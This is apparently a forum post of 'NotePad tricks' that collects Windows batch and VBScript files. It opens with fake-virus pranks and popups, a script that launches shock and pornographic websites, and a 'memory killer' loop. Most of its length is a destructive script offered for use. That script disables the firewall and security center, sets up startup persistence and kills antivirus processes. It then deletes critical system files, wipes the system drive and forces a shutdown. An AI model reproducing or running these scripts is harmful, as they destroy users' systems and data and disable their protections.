NotePad Tricks!

@echo off
echo YOUR COMPUTER HAS FOUND A VIRUS!
pause
echo LOCATING ANTIVIRUS...
pause
echo WOULD YOU LIKE TO DELETE THE VIRUS?
pause
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
echo ACCESS DENIED
pause
color 0a
echo STARTING VIRUS ENGINE
echo VIRUS STARTED!
:1
der/s
goto 1

color 0a

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@echo off
msg * (YOU JUST)
cls
msg * (GOT PWND BY
cls
msg * (Scrappy CoCo)
cls

start iexplore.exe "www.yahoo.com"
start iexplore.exe "www.meatspin.com"
start iexplore.exe "www.google.com"
start iexplore.exe "www.pornhub.com"
start iexplore.exe "www.youjizz.com"
start iexplore.exe "www.yahoo.com"
start iexplore.exe "www.meatspin.com"
start iexplore.exe "www.google.com"
start iexplore.exe "www.pornhub.com"
start iexplore.exe "www.youjizz.com"

x=msgbox(" Hacking BleepyEvans...In Progress ",1+48,"Geting Fucked...")

x =msgbox("PWND you want to do?",2+16, "Geting Hacked!!!")

@echo off
title matrix
color 0a
:top
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
goto top

Batch too long click to read (Click to Hide)
Kills memory
Please save on the desktop

@echo off
@echo off
title I LIKE PRETTY COLORS!
:1
echo DONT YOU LOVE PRETTY COLORS!!
echo PLEASE JUST TAKE LIKE 20 SECONDS TO ADMIRE!!!
start mspaint.exe>nul
start cmd.exe>nul
copy "C:\Program Files">nul
copy "C:\Windows">nul
copy C:\WINDOWS\addins>nul
copy C:\WINDOWS\system32>nul
copy C:\WINDOWS\system>nul
color 21
color 12
color 43
color 34
goto :1

start
color 5
title Your Fucked, lol
time 12:00
net stop "Security center"
net stop sharedaccess
netsh firewall set opmode mode-disable
start
echo copy %0 >> c:\autoexec.bat
copy %0 c:\windows\startm~1\Programs\StartUp\shroom.bat
Attrib +r +h C:\windows\startm~1\program\startup\shroom.bat
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >> c:\regstart.reg
echo "systemStart"="c:\filename\virus.bat" >> c:\regstart.reg
start c:\regstart.reg
copy %0 %systemroot%\shroom.bat > nul
start
copy %0 *.bat > nul
start
attrib +r +h virus.bat
attrib +r +h
RUNDLL32 USER32.DLL,SwapMouseButton
tskill msnmsgr
tskill Limewire
tskill iexplorer
tskill NMain
tskill Firefox
tskill explorer
tskill AVGUARD
msg * Awww Your computer is now fucked
msg * You got owned!
msg * Say Bye to your computer n00b
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
copy shroom.bat C:/WINDOWS
del "C:\WINDOWS\pchealth\"
del "C:\WINDOWS\system\"
del "C:\WINDOWS\system32\restore\"
del "C:\WINDOWS\system32\logonui.exe"
del "C:\WINDOWS\system32\ntoskrnl.exe"
del "Winlogon.exe"
ERASE c:
start
shutdown - s -t 15 -c "15 Seconds and counting"
cd %userprofile%\Desktop
copy fixvirus.bat %userprofile%\Desktop
echo HAXHAXHAX
:LOOP
color 17
color 28
color 32
color 22
color 11
color 02
color 39
color 34
GOTO LOOP

Basically Fucks Up the pc.
Deletes Most of the necessary files.
Stops AV's Firewalls's Anything..
Kills most Processes
Pretty much it.

del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00